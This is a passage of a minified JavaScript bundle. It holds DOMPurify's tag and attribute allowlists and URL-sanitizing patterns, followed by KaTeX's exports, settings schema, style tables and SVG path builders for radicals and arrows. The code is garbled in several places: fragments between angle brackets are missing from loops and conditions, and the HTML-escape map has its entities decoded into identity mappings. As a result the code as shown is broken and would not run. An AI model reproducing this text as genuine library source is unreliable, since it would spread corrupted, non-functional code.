up","table","tbody","td","template","textarea","tfoot","th","thead","time","tr","track","tt","u","ul","var","video","wbr"]),D7=Za(["svg","a","altglyph","altglyphdef","altglyphitem","animatecolor","animatemotion","animatetransform","circle","clippath","defs","desc","ellipse","filter","font","g","glyph","glyphref","hkern","image","line","lineargradient","marker","mask","metadata","mpath","path","pattern","polygon","polyline","radialgradient","rect","stop","style","switch","symbol","text","textpath","title","tref","tspan","view","vkern"]),L7=Za(["feBlend","feColorMatrix","feComponentTransfer","feComposite","feConvolveMatrix","feDiffuseLighting","feDisplacementMap","feDistantLight","feDropShadow","feFlood","feFuncA","feFuncB","feFuncG","feFuncR","feGaussianBlur","feImage","feMerge","feMergeNode","feMorphology","feOffset","fePointLight","feSpecularLighting","feSpotLight","feTile","feTurbulence"]),M5e=Za(["animate","color-profile","cursor","discard","font-face","font-face-format","font-face-name","font-face-src","font-face-uri","foreignobject","hatch","hatchpath","mesh","meshgradient","meshpatch","meshrow","missing-glyph","script","set","solidcolor","unknown","use"]),R7=Za(["math","menclose","merror","mfenced","mfrac","mglyph","mi","mlabeledtr","mmultiscripts","mn","mo","mover","mpadded","mphantom","mroot","mrow","ms","mspace","msqrt","mstyle","msub","msup","msubsup","mtable","mtd","mtext","mtr","munder","munderover","mprescripts"]),I5e=Za(["maction","maligngroup","malignmark","mlongdiv","mscarries","mscarry","msgroup","mstack","msline","msrow","semantics","annotation","annotation-xml","mprescripts","none"]),aV=Za(["#text"]),sV=Za(["accept","action","align","alt","autocapitalize","autocomplete","autopictureinpicture","autoplay","background","bgcolor","border","capture","cellpadding","cellspacing","checked","cite","class","clear","color","cols","colspan","controls","controlslist","coords","crossorigin","datetime","decoding","default","dir","disabled","disablepictureinpicture","disableremoteplayback","download","draggable","enctype","enterkeyhint","face","for","headers","height","hidden","high","href","hreflang","id","inputmode","integrity","ismap","kind","label","lang","list","loading","loop","low","max","maxlength","media","method","min","minlength","multiple","muted","name","nonce","noshade","novalidate","nowrap","open","optimum","pattern","placeholder","playsinline","popover","popovertarget","popovertargetaction","poster","preload","pubdate","radiogroup","readonly","rel","required","rev","reversed","role","rows","rowspan","spellcheck","scope","selected","shape","size","sizes","span","srclang","start","src","srcset","step","style","summary","tabindex","title","translate","type","usemap","valign","value","width","wrap","xmlns","slot"]),N7=Za(["accent-height","accumulate","additive","alignment-baseline","amplitude","ascent","attributename","attributetype","azimuth","basefrequency","baseline-shift","begin","bias","by","class","clip","clippathunits","clip-path","clip-rule","color","color-interpolation","color-interpolation-filters","color-profile","color-rendering","cx","cy","d","dx","dy","diffuseconstant","direction","display","divisor","dur","edgemode","elevation","end","exponent","fill","fill-opacity","fill-rule","filter","filterunits","flood-color","flood-opacity","font-family","font-size","font-size-adjust","font-stretch","font-style","font-variant","font-weight","fx","fy","g1","g2","glyph-name","glyphref","gradientunits","gradienttransform","height","href","id","image-rendering","in","in2","intercept","k","k1","k2","k3","k4","kerning","keypoints","keysplines","keytimes","lang","lengthadjust","letter-spacing","kernelmatrix","kernelunitlength","lighting-color","local","marker-end","marker-mid","marker-start","markerheight","markerunits","markerwidth","maskcontentunits","maskunits","max","mask","media","method","mode","min","name","numoctaves","offset","operator","opacity","order","orient","orientation","origin","overflow","paint-order","path","pathlength","patterncontentunits","patterntransform","patternunits","points","preservealpha","preserveaspectratio","primitiveunits","r","rx","ry","radius","refx","refy","repeatcount","repeatdur","restart","result","rotate","scale","seed","shape-rendering","slope","specularconstant","specularexponent","spreadmethod","startoffset","stddeviation","stitchtiles","stop-color","stop-opacity","stroke-dasharray","stroke-dashoffset","stroke-linecap","stroke-linejoin","stroke-miterlimit","stroke-opacity","stroke","stroke-width","style","surfacescale","systemlanguage","tabindex","tablevalues","targetx","targety","transform","transform-origin","text-anchor","text-decoration","text-rendering","textlength","type","u1","u2","unicode","values","viewbox","visibility","version","vert-adv-y","vert-origin-x","vert-origin-y","width","word-spacing","wrap","writing-mode","xchannelselector","ychannelselector","x","x1","x2","xmlns","y","y1","y2","z","zoomandpan"]),oV=Za(["accent","accentunder","align","bevelled","close","columnsalign","columnlines","columnspan","denomalign","depth","dir","display","displaystyle","encoding","fence","frame","height","href","id","largeop","length","linethickness","lspace","lquote","mathbackground","mathcolor","mathsize","mathvariant","maxsize","minsize","movablelimits","notation","numalign","open","rowalign","rowlines","rowspacing","rowspan","rspace","rquote","scriptlevel","scriptminsize","scriptsizemultiplier","selection","separator","separators","stretchy","subscriptshift","supscriptshift","symmetric","voffset","width","xmlns"]),a3=Za(["xlink:href","xml:id","xlink:title","xml:space","xmlns:xlink"]),O5e=Co(/\{\{[\w\W]*|[\w\W]*\}\}/gm),P5e=Co(/<%[\w\W]*|[\w\W]*%>/gm),B5e=Co(/\$\{[\w\W]*/gm),F5e=Co(/^data-[\-\w.\u00B7-\uFFFF]+$/),$5e=Co(/^aria-[\-\w]+$/),fV=Co(/^(?:(?:(?:f|ht)tps?|mailto|tel|callto|sms|cid|xmpp|matrix):|[^a-z]|[a-z+.\-]+(?:[^a-z+.\-:]|$))/i),z5e=Co(/^(?:\w+script|data):/i),G5e=Co(/[\u0000-\u0020\u00A0\u1680\u180E\u2000-\u2029\u205F\u3000]/g),dV=Co(/^html$/i),V5e=Co(/^[a-z][.\w]*(-[.\w]+)+$/i),lV=Object.freeze({__proto__:null,ARIA_ATTR:$5e,ATTR_WHITESPACE:G5e,CUSTOM_ELEMENT:V5e,DATA_ATTR:F5e,DOCTYPE_NAME:dV,ERB_EXPR:P5e,IS_ALLOWED_URI:fV,IS_SCRIPT_OR_DATA:z5e,MUSTACHE_EXPR:O5e,TMPLIT_EXPR:B5e}),Vy={element:1,attribute:2,text:3,cdataSection:4,entityReference:5,entityNode:6,progressingInstruction:7,comment:8,document:9,documentType:10,documentFragment:11,notation:12},U5e=o(function(){return typeof window>"u"?null:window},"getGlobal"),H5e=o(function(e,r){if(typeof e!="object"||typeof e.createPolicy!="function")return null;let n=null,i="data-tt-policy-suffix";r&&r.hasAttribute(i)&&(n=r.getAttribute(i));let a="dompurify"+(n?"#"+n:"");try{return e.createPolicy(a,{createHTML(s){return s},createScriptURL(s){return s}})}catch{return console.warn("TrustedTypes policy "+a+" could not be created."),null}},"_createTrustedTypesPolicy"),cV=o(function(){return{afterSanitizeAttributes:[],afterSanitizeElements:[],afterSanitizeShadowDOM:[],beforeSanitizeAttributes:[],beforeSanitizeElements:[],beforeSanitizeShadowDOM:[],uponSanitizeAttribute:[],uponSanitizeElement:[],uponSanitizeShadowNode:[]}},"_createHooksMap");o(pV,"createDOMPurify");yh=pV()});var WU={};dr(WU,{ParseError:()=>gt,SETTINGS_SCHEMA:()=>Wy,__defineFunction:()=>Mt,__defineMacro:()=>ce,__defineSymbol:()=>V,__domTree:()=>qU,__parse:()=>GU,__renderToDomTree:()=>M3,__renderToHTMLTree:()=>UU,__setFontMetrics:()=>XV,default:()=>Owe,render:()=>EA,renderToString:()=>zU,version:()=>HU});function Q5e(t){return String(t).replace(K5e,e=>j5e[e])}function tTe(t){if(t.default)return t.default;var e=t.type,r=Array.isArray(e)?e[0]:e;if(typeof r!="string")return r.enum[0];switch(r){case"boolean":return!1;case"string":return"";case"number":return 0;case"object":return{}}}function lTe(t){for(var e=0;e=i[0]&&t<=i[1])return r.name}return null}function YV(t){for(var e=0;e=v3[e]&&t<=v3[e+1])return!0;return!1}function XV(t,e){Ql[t]=e}function lA(t,e,r){if(!Ql[e])throw new Error("Font metrics not found for font: "+e+".");var n=t.charCodeAt(0),i=Ql[e][n];if(!i&&t[0]in gV&&(n=gV[t[0]].charCodeAt(0),i=Ql[e][n]),!i&&r==="text"&&YV(n)&&(i=Ql[e][77]),i)return{depth:i[0],height:i[1],italic:i[2],skew:i[3],width:i[4]}}function xTe(t){var e;if(t>=5?e=0:t>=3?e=1:e=2,!P7[e]){var r=P7[e]={cssEmPerMu:o3.quad[e]/18};for(var n in o3)o3.hasOwnProperty(n)&&(r[n]=o3[n][e])}return P7[e]}function xV(t){if(t instanceof Cs)return t;throw new Error("Expected symbolNode but got "+String(t)+".")}function ETe(t){if(t instanceof fd)return t;throw new Error("Expected span but got "+String(t)+".")}function V(t,e,r,n,i,a){Nn[t][i]={font:e,group:r,replace:n},a&&n&&(Nn[t][n]=Nn[t][i])}function Mt(t){for(var{type:e,names:r,props:n,handler:i,htmlBuilder:a,mathmlBuilder:s}=t,l={type:e,numArgs:n.numArgs,argTypes:n.argTypes,allowedInArgument:!!n.allowedInArgument,allowedInText:!!n.allowedInText,allowedInMath:n.allowedInMath===void 0?!0:n.allowedInMath,numOptionalArgs:n.numOptionalArgs||0,infix:!!n.infix,primitive:!!n.primitive,handler:i},u=0;u0&&(a.push(p3(s,e)),s=[]),a.push(n[l]));s.length>0&&a.push(p3(s,e));var h;r?(h=p3(Ii(r,e,!0)),h.classes=["tag"],a.push(h)):i&&a.push(i);var f=du(["katex-html"],a);if(f.setAttribute("aria-hidden","true"),h){var d=h.children[0];d.style.height=St(f.height+f.depth),f.depth&&(d.style.verticalAlign=St(-f.depth))}return f}function sU(t){return new hd(t)}function $7(t){if(!t)return!1;if(t.type==="mi"&&t.children.length===1){var e=t.children[0];return e instanceof _o&&e.text==="."}else if(t.type==="mo"&&t.children.length===1&&t.getAttribute("separator")==="true"&&t.getAttribute("lspace")==="0em"&&t.getAttribute("rspace")==="0em"){var r=t.children[0];return r instanceof _o&&r.text===","}else return!1}function EV(t,e,r,n,i){var a=As(t,r),s;a.length===1&&a[0]instanceof es&&er.contains(["mrow","mtable"],a[0].type)?s=a[0]:s=new mt.MathNode("mrow",a);var l=new mt.MathNode("annotation",[new mt.TextNode(e)]);l.setAttribute("encoding","application/x-tex");var u=new mt.MathNode("semantics",[s,l]),h=new mt.MathNode("math",[u]);h.setAttribute("xmlns","http://www.w3.org/1998/Math/MathML"),n&&h.setAttribute("display","block");var f=i?"katex":"katex-mathml";return $e.makeSpan([f],[h])}function Tr(t,e){if(!t||t.type!==e)throw new Error("Expected node of type "+e+", but got "+(t?"node of type "+t.type:String(t)));return t}function fA(t){var e=D3(t);if(!e)throw new Error("Expected node of symbol group type, but got "+(t?"node of type "+t.type:String(t)));return e}function D3(t){return t&&(t.type==="atom"||CTe.hasOwnProperty(t.type))?t:null}function uU(t,e){var r=Ii(t.body,e,!0);return rwe([t.mclass],r,e)}function hU(t,e){var r,n=As(t.body,e);return t.mclass==="minner"?r=new mt.MathNode("mpadded",n):t.mclass==="mord"?t.isCharacterBox?(r=n[0],r.type="mi"):r=new mt.MathNode("mi",n):(t.isCharacterBox?(r=n[0],r.type="mo"):r=new mt.MathNode("mo",n),t.mclass==="mbin"?(r.attributes.lspace="0.22em",r.attributes.rspace="0.22em"):t.mclass==="mpunct"?(r.attributes.lspace="0em",r.attributes.rspace="0.17em"):t.mclass==="mopen"||t.mclass==="mclose"?(r.attributes.lspace="0em",r.attributes.rspace="0em"):t.mclass==="minner"&&(r.attributes.lspace="0.0556em",r.attributes.width="+0.1111em")),r}function awe(t,e,r){var n=nwe[t];switch(n){case"\\\\cdrightarrow":case"\\\\cdleftarrow":return r.callFunction(n,[e[0]],[e[1]]);case"\\uparrow":case"\\downarrow":{var i=r.callFunction("\\\\cdleft",[e[0]],[]),a={type:"atom",text:n,mode:"math",family:"rel"},s=r.callFunction("\\Big",[a],[]),l=r.callFunction("\\\\cdright",[e[1]],[]),u={type:"ordgroup",mode:"math",body:[i,s,l]};return r.callFunction("\\\\cdparent",[u],[])}case"\\\\cdlongequal":return r.callFunction("\\\\cdlongequal",[],[]);case"\\Vert":{var h={type:"textord",text:"\\Vert",mode:"math"};return r.callFunction("\\Big",[h],[])}default:return{type:"textord",text:" ",mode:"math"}}}function swe(t){var e=[];for(t.gullet.beginGroup(),t.gullet.macros.set("\\cr","\\\\\\relax"),t.gullet.beginGroup();;){e.push(t.parseExpression(!1,"\\\\")),t.gullet.endGroup(),t.gullet.beginGroup();var r=t.fetch().text;if(r==="&"||r==="\\\\")t.consume();else if(r==="\\end"){e[e.length-1].length===0&&e.pop();break}else throw new gt("Expected \\\\ or \\cr or \\end",t.nextToken)}for(var n=[],i=[n],a=0;a-1))if("<>AV".indexOf(h)>-1)for(var d=0;d<2;d++){for(var p=!0,m=u+1;mAV=|." after @',s[u]);var g=awe(h,f,t),y={type:"styling",body:[g],mode:"math",style:"display"};n.push(y),l=SV()}a%2===0?n.push(l):n.shift(),n=[],i.push(n)}t.gullet.endGroup(),t.gullet.endGroup();var v=new Array(i[0].length).fill({type:"align",align:"c",pregap:.25,postgap:.25});return{type:"array",mode:"math",body:i,arraystretch:1,addJot:!0,rowGaps:[null],cols:v,colSeparationType:"CD",hLinesBeforeRow:new Array(i.length+1).fill([])}}function R3(t,e){var r=D3(t);if(r&&er.contains(xwe,r.text))return r;throw r?new gt("Invalid delimiter '"+r.text+"' after '"+e.funcName+"'",t):new gt("Invalid delimiter type '"+t.type+"'",t)}function _V(t){if(!t.body)throw new Error("Bug: The leftright ParseNode wasn't fully parsed.")}function Jl(t){for(var{type:e,names:r,props:n,handler:i,htmlBuilder:a,mathmlBuilder:s}=t,l={type:e,numArgs:n.numArgs||0,allowedInText:!1,numOptionalArgs:0,handler:i},u=0;u1||!f)&&y.pop(),x.length{"use strict";to=class t{static{o(this,"SourceLocation")}constructor(e,r,n){this.lexer=void 0,this.start=void 0,this.end=void 0,this.lexer=e,this.start=r,this.end=n}static range(e,r){return r?!e||!e.loc||!r.loc||e.loc.lexer!==r.loc.lexer?null:new t(e.loc.lexer,e.loc.start,r.loc.end):e&&e.loc}},Do=class t{static{o(this,"Token")}constructor(e,r){this.text=void 0,this.loc=void 0,this.noexpand=void 0,this.treatAsRelax=void 0,this.text=e,this.loc=r}range(e,r){return new t(r,to.range(this,e))}},gt=class t{static{o(this,"ParseError")}constructor(e,r){this.name=void 0,this.position=void 0,this.length=void 0,this.rawMessage=void 0;var n="KaTeX parse error: "+e,i,a,s=r&&r.loc;if(s&&s.start<=s.end){var l=s.lexer.input;i=s.start,a=s.end,i===l.length?n+=" at end of input: ":n+=" at position "+(i+1)+": ";var u=l.slice(i,a).replace(/[^]/g,"$&\u0332"),h;i>15?h="\u2026"+l.slice(i-15,i):h=l.slice(0,i);var f;a+15":">","<":"<",'"':""","'":"'"},K5e=/[&><"']/g;o(Q5e,"escape");WV=o(function t(e){return e.type==="ordgroup"||e.type==="color"?e.body.length===1?t(e.body[0]):e:e.type==="font"?t(e.body):e},"getBaseElem"),Z5e=o(function(e){var r=WV(e);return r.type==="mathord"||r.type==="textord"||r.type==="atom"},"isCharacterBox"),J5e=o(function(e){if(!e)throw new Error("Expected non-null, but got "+String(e));return e},"assert"),eTe=o(function(e){var r=/^[\x00-\x20]*([^\\/#?]*?)(:|�*58|�*3a|&colon)/i.exec(e);return r?r[2]!==":"||!/^[a-zA-Z][a-zA-Z0-9+\-.]*$/.test(r[1])?null:r[1].toLowerCase():"_relative"},"protocolFromUrl"),er={contains:q5e,deflt:W5e,escape:Q5e,hyphenate:X5e,getBaseElem:WV,isCharacterBox:Z5e,protocolFromUrl:eTe},Wy={displayMode:{type:"boolean",description:"Render math in display mode, which puts the math in display style (so \\int and \\sum are large, for example), and centers the math on the page on its own line.",cli:"-d, --display-mode"},output:{type:{enum:["htmlAndMathml","html","mathml"]},description:"Determines the markup language of the output.",cli:"-F, --format "},leqno:{type:"boolean",description:"Render display math in leqno style (left-justified tags)."},fleqn:{type:"boolean",description:"Render display math flush left."},throwOnError:{type:"boolean",default:!0,cli:"-t, --no-throw-on-error",cliDescription:"Render errors (in the color given by --error-color) instead of throwing a ParseError exception when encountering an error."},errorColor:{type:"string",default:"#cc0000",cli:"-c, --error-color ",cliDescription:"A color string given in the format 'rgb' or 'rrggbb' (no #). This option determines the color of errors rendered by the -t option.",cliProcessor:o(t=>"#"+t,"cliProcessor")},macros:{type:"object",cli:"-m, --macro ",cliDescription:"Define custom macro of the form '\\foo:expansion' (use multiple -m arguments for multiple macros).",cliDefault:[],cliProcessor:o((t,e)=>(e.push(t),e),"cliProcessor")},minRuleThickness:{type:"number",description:"Specifies a minimum thickness, in ems, for fraction lines, `\\sqrt` top lines, `{array}` vertical lines, `\\hline`, `\\hdashline`, `\\underline`, `\\overline`, and the borders of `\\fbox`, `\\boxed`, and `\\fcolorbox`.",processor:o(t=>Math.max(0,t),"processor"),cli:"--min-rule-thickness ",cliProcessor:parseFloat},colorIsTextColor:{type:"boolean",description:"Makes \\color behave like LaTeX's 2-argument \\textcolor, instead of LaTeX's one-argument \\color mode change.",cli:"-b, --color-is-text-color"},strict:{type:[{enum:["warn","ignore","error"]},"boolean","function"],description:"Turn on strict / LaTeX faithfulness mode, which throws an error if the input uses features that are not supported by LaTeX.",cli:"-S, --strict",cliDefault:!1},trust:{type:["boolean","function"],description:"Trust the input, enabling all HTML features such as \\url.",cli:"-T, --trust"},maxSize:{type:"number",default:1/0,description:"If non-zero, all user-specified sizes, e.g. in \\rule{500em}{500em}, will be capped to maxSize ems. Otherwise, elements and spaces can be arbitrarily large",processor:o(t=>Math.max(0,t),"processor"),cli:"-s, --max-size ",cliProcessor:parseInt},maxExpand:{type:"number",default:1e3,description:"Limit the number of macro expansions to the specified number, to prevent e.g. infinite macro loops. If set to Infinity, the macro expander will try to fully expand as in LaTeX.",processor:o(t=>Math.max(0,t),"processor"),cli:"-e, --max-expand ",cliProcessor:o(t=>t==="Infinity"?1/0:parseInt(t),"cliProcessor")},globalGroup:{type:"boolean",cli:!1}};o(tTe,"getDefaultValue");Xy=class{static{o(this,"Settings")}constructor(e){this.displayMode=void 0,this.output=void 0,this.leqno=void 0,this.fleqn=void 0,this.throwOnError=void 0,this.errorColor=void 0,this.macros=void 0,this.minRuleThickness=void 0,this.colorIsTextColor=void 0,this.strict=void 0,this.trust=void 0,this.maxSize=void 0,this.maxExpand=void 0,this.globalGroup=void 0,e=e||{};for(var r in Wy)if(Wy.hasOwnProperty(r)){var n=Wy[r];this[r]=e[r]!==void 0?n.processor?n.processor(e[r]):e[r]:tTe(n)}}reportNonstrict(e,r,n){var i=this.strict;if(typeof i=="function"&&(i=i(e,r,n)),!(!i||i==="ignore")){if(i===!0||i==="error")throw new gt("LaTeX-incompatible input and strict mode is set to 'error': "+(r+" ["+e+"]"),n);i==="warn"?typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+(r+" ["+e+"]")):typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to "+("unrecognized '"+i+"': "+r+" ["+e+"]"))}}useStrictBehavior(e,r,n){var i=this.strict;if(typeof i=="function")try{i=i(e,r,n)}catch{i="error"}return!i||i==="ignore"?!1:i===!0||i==="error"?!0:i==="warn"?(typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to 'warn': "+(r+" ["+e+"]")),!1):(typeof console<"u"&&console.warn("LaTeX-incompatible input and strict mode is set to "+("unrecognized '"+i+"': "+r+" ["+e+"]")),!1)}isTrusted(e){if(e.url&&!e.protocol){var r=er.protocolFromUrl(e.url);if(r==null)return!1;e.protocol=r}var n=typeof this.trust=="function"?this.trust(e):this.trust;return!!n}},jl=class{static{o(this,"Style")}constructor(e,r,n){this.id=void 0,this.size=void 0,this.cramped=void 0,this.id=e,this.size=r,this.cramped=n}sup(){return Kl[rTe[this.id]]}sub(){return Kl[nTe[this.id]]}fracNum(){return Kl[iTe[this.id]]}fracDen(){return Kl[aTe[this.id]]}cramp(){return Kl[sTe[this.id]]}text(){return Kl[oTe[this.id]]}isTight(){return this.size>=2}},oA=0,x3=1,k0=2,hu=3,jy=4,Ao=5,E0=6,ts=7,Kl=[new jl(oA,0,!1),new jl(x3,0,!0),new jl(k0,1,!1),new jl(hu,1,!0),new jl(jy,2,!1),new jl(Ao,2,!0),new jl(E0,3,!1),new jl(ts,3,!0)],rTe=[jy,Ao,jy,Ao,E0,ts,E0,ts],nTe=[Ao,Ao,Ao,Ao,ts,ts,ts,ts],iTe=[k0,hu,jy,Ao,E0,ts,E0,ts],aTe=[hu,hu,Ao,Ao,ts,ts,ts,ts],sTe=[x3,x3,hu,hu,Ao,Ao,ts,ts],oTe=[oA,x3,k0,hu,k0,hu,k0,hu],nr={DISPLAY:Kl[oA],TEXT:Kl[k0],SCRIPT:Kl[jy],SCRIPTSCRIPT:Kl[E0]},j7=[{name:"latin",blocks:[[256,591],[768,879]]},{name:"cyrillic",blocks:[[1024,1279]]},{name:"armenian",blocks:[[1328,1423]]},{name:"brahmic",blocks:[[2304,4255]]},{name:"georgian",blocks:[[4256,4351]]},{name:"cjk",blocks:[[12288,12543],[19968,40879],[65280,65376]]},{name:"hangul",blocks:[[44032,55215]]}];o(lTe,"scriptFromCodepoint");v3=[];j7.forEach(t=>t.blocks.forEach(e=>v3.push(...e)));o(YV,"supportedCodepoint");w0=80,cTe=o(function(e,r){return"M95,"+(622+e+r)+` +c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14 +c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54 +c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10 +s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429 +c69,-144,104.5,-217.7,106.5,-221 +l`+e/2.075+" -"+e+` +c5.3,-9.3,12,-14,20,-14 +H400000v`+(40+e)+`H845.2724 +s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7 +c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47z +M`+(834+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtMain"),uTe=o(function(e,r){return"M263,"+(601+e+r)+`c0.7,0,18,39.7,52,119 +c34,79.3,68.167,158.7,102.5,238c34.3,79.3,51.8,119.3,52.5,120 +c340,-704.7,510.7,-1060.3,512,-1067 +l`+e/2.084+" -"+e+` +c4.7,-7.3,11,-11,19,-11 +H40000v`+(40+e)+`H1012.3 +s-271.3,567,-271.3,567c-38.7,80.7,-84,175,-136,283c-52,108,-89.167,185.3,-111.5,232 +c-22.3,46.7,-33.8,70.3,-34.5,71c-4.7,4.7,-12.3,7,-23,7s-12,-1,-12,-1 +s-109,-253,-109,-253c-72.7,-168,-109.3,-252,-110,-252c-10.7,8,-22,16.7,-34,26 +c-22,17.3,-33.3,26,-34,26s-26,-26,-26,-26s76,-59,76,-59s76,-60,76,-60z +M`+(1001+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtSize1"),hTe=o(function(e,r){return"M983 "+(10+e+r)+` +l`+e/3.13+" -"+e+` +c4,-6.7,10,-10,18,-10 H400000v`+(40+e)+` +H1013.1s-83.4,268,-264.1,840c-180.7,572,-277,876.3,-289,913c-4.7,4.7,-12.7,7,-24,7 +s-12,0,-12,0c-1.3,-3.3,-3.7,-11.7,-7,-25c-35.3,-125.3,-106.7,-373.3,-214,-744 +c-10,12,-21,25,-33,39s-32,39,-32,39c-6,-5.3,-15,-14,-27,-26s25,-30,25,-30 +c26.7,-32.7,52,-63,76,-91s52,-60,52,-60s208,722,208,722 +c56,-175.3,126.3,-397.3,211,-666c84.7,-268.7,153.8,-488.2,207.5,-658.5 +c53.7,-170.3,84.5,-266.8,92.5,-289.5z +M`+(1001+e)+" "+r+"h400000v"+(40+e)+"h-400000z"},"sqrtSize2"),fTe=o(function(e,r){return"M424,"+(2398+e+r)+` +c-1.3,-0.7,-38.5,-172,-111.5,-514c-73,-342,-109.8,-513.3,-110.5,-514 +c0,-2,-10.7,14.3,-32,49c-4.7,7.3,-9.8,15.7,-15.5,25c-5.7,9.3,-9.8,16,-12.5,20 +s-5,7,-5,7c-4,-3.3,-8.3,-7.7,-13,-13s-13,-13,-13,-13s76,-122,76,-122s77,-121,77,-121 +s209,968,209,968c0,-2,84.7,-361.7,254,-1079c169.3,-717.3,254.7,-1077.7,256,-1081 +l`+e/4.223+" -"+e+`c4,-6.7,10,-10,18,-10 H400000 +v`+(40+e)+`H1014.6 +s-87.3,378.7,-272.6,1166c-185.3,787.3,-279.3,1182.3,-282,1185 +c-2,6,-10,9,-24,9 +c-8,0,-12,-0.7,-12,-2z M`+(1001+e)+" "+r+` +h400000v`+(40+e)+"h-400000z"},"sqrtSize3"),dTe=o(function(e,r){return"M473,"+(2713+e+r)+` +c339.3,-1799.3,509.3,-2700,510,-2702 l`+e/5.298+" -"+e+` +c3.3,-7.3,9.3,-11,18,-11 H400000v`+(40+e)+`H1017.7 +s-90.5,478,-276.2,1466c-185.7,988,-279.5,1483,-281.5,1485c-2,6,-10,9,-24,9 +c-8,0,-12,-0.7,-12,-2c0,-1.3,-5.3,-32,-16,-92c-50.7,-293.3,-119.7,-693.3,-207,-1200 +c0,-1.3,-5.3,8.7,-16,30c-10.7,21.3,-21.3,42.7,-32,64s-16,33,-16,33s-26,-26,-26,-26 +s76,-153,76,-153s77,-151,77,-151c0.7,0.7,35.7,202,105,604c67.3,400.7,102,602.7,104, +606zM`+(1001+e)+" "+r+"h400000v"+(40+e)+"H1017.7z"},"sqrtSize4"),pTe=o(function(e){var r=e/2;return"M400000 "+e+" H0 L"+r+" 0 l65 45 L145 "+(e-80)+" H400000z"},"phasePath"),mTe=o(function(e,r,n){var i=n-54-r-e;return"M702 "+(e+r)+"H400000"+(40+e)+` +H742v`+i+`l-4 4-4 4c-.667.7 -2 1.5-4 2.5s-4.167 1.833-6.5 2.5-5.5 1-9.5 1 +h-12l-28-84c-16.667-52-96.667 -294.333-240-727l-212 -643 -85 170 +c-4-3.333-8.333-7.667-13 -13l-13-13l77-155 77-156c66 199.333 139 419.667 +219 661 l218 661zM702 `+r+"H400000v"+(40+e)+"H742z"},"sqrtTall"),gTe=o(function(e,r,n){r=1e3*r;var i="";switch(e){case"sqrtMain":i=cTe(r,w0);break;case"sqrtSize1":i=uTe(r,w0);break;case"sqrtSize2":i=hTe(r,w0);break;case"sqrtSize3":i=fTe(r,w0);break;case"sqrtSize4":i=dTe(r,w0);break;case"sqrtTall":i=mTe(r,w0,n)}return i},"sqrtPath"),yTe=o(function(e,r){switch(e){case"\u239C":return"M291 0 H417 V"+r+" H291z M291 0 H417 V"+r+" H291z";case"\u2223":return"M145 0 H188 V"+r+" H145z M145 0 H188 V"+r+" H145z";case"\u2225":return"M145 0 H188 V"+r+" H145z M145 0 H188 V"+r+" H145z"+("M367 0 H410 V"+r+" H367z M367 0 H410 V"+r+" H367z");case"\u239F":return"M457 0 H583 V"+r+" H457z M457 0 H583 V"+r+" H457z";case"\u23A2":return"M319 0 H403 V"+r+" H319z M319 0 H403 V"+r+" H319z";case"\u23A5":return"M263 0 H347 V"+r+" H263z M263 0 H347 V"+r+" H263z";case"\u23AA":return"M384 0 H504 V"+r+" H384z M384 0 H504 V"+r+" H384z";case"\u23D0":return"M312 0 H355 V"+r+" H312z M312 0 H355 V"+r+" H312z";case"\u2016":return"M257 0 H300 V"+r+" H257z M257 0 H300 V"+r+" H257z"+("M478 0 H521 V"+r+" H478z M478 0 H521 V"+r+" H478z");default:return""}},"innerPath"),mV={doubleleftarrow:`M262 157 +l10-10c34-36 62.7-77 86-123 3.3-8 5-13.3 5-16 0-5.3-6.7-8-20-8-7.3 + 0-12.2.5-14.5 1.5-2.3 1-4.8 4.5-7.5 10.5-49.3 97.3-121.7 169.3-217 216-28 + 14-57.3 25-88 33-6.7 2-11 3.8-13 5.5-2 1.7-3 4.2-3 7.5s1 5.8 3 7.5 +c2 1.7 6.3 3.5 13 5.5 68 17.3 128.2 47.8 180.5 91.5 52.3 43.7 93.8 96.2 124.5 + 157.5 9.3 8 15.3 12.3 18 13h6c12-.7 18-4 18-10 0-2-1.7-7-5-15-23.3-46-52-87 +-86-123l-10-10h399738v-40H218c328 0 0 0 0 0l-10-8c-26.7-20-65.7-43-117-69 2.7 +-2 6-3.7 10-5 36.7-16 72.3-37.3 107-64l10-8h399782v-40z +m8 0v40h399730v-40zm0 194v40h399730v-40z`,doublerightarrow:`M399738 392l +-10 10c-34 36-62.7 77-86 123-3.3 8-5 13.3-5 16 0 5.3 6.7 8 20 8 7.3 0 12.2-.5 + 14.5-1.5 2.3-1 4.8-4.5 7.5-10.5 49.3-97.3 121.7-169.3 217-216 28-14 57.3-25 88 +-33 6.7-2 11-3.8 13-5.5 2-1.7 3-4.2 3-7.5s-1-5.8-3-7.5c-2-1.7-6.3-3.5-13-5.5-68 +-17.3-128.2-47.8-180.5-91.5-52.3-43.7-93.8-96.2-124.5-157.5-9.3-8-15.3-12.3-18 +-13h-6c-12 .7-18 4-18 10 0 2 1.7 7 5 15 23.3 46 52 87 86 123l10 10H0v40h399782 +c-328 0 0 0 0 0l10 8c26.7 20 65.7 43 117 69-2.7 2-6 3.7-10 5-36.7 16-72.3 37.3 +-107 64l-10 8H0v40zM0 157v40h399730v-40zm0 194v40h399730v-40z`,leftarrow:`M400000 241H110l3-3c68.7-52.7 113.7-120 + 135-202 4-14.7 6-23 6-25 0-7.3-7-11-21-11-8 0-13.2.8-15.5 2.5-2.3 1.7-4.2 5.8 +-5.5 12.5-1.3 4.7-2.7 10.3-4 17-12 48.7-34.8 92-68.5 130S65.3 228.3 18 247 +c-10 4-16 7.7-18 11 0 8.7 6 14.3 18 17 47.3 18.7 87.8 47 121.5 85S196 441.3 208 + 490c.7 2 1.3 5 2 9s1.2 6.7 1.5 8c.3 1.3 1 3.3 2 6s2.2 4.5 3.5 5.5c1.3 1 3.3 + 1.8 6 2.5s6 1 10 1c14 0 21-3.7 21-11 0-2-2-10.3-6-25-20-79.3-65-146.7-135-202 + l-3-3h399890zM100 241v40h399900v-40z`,leftbrace:`M6 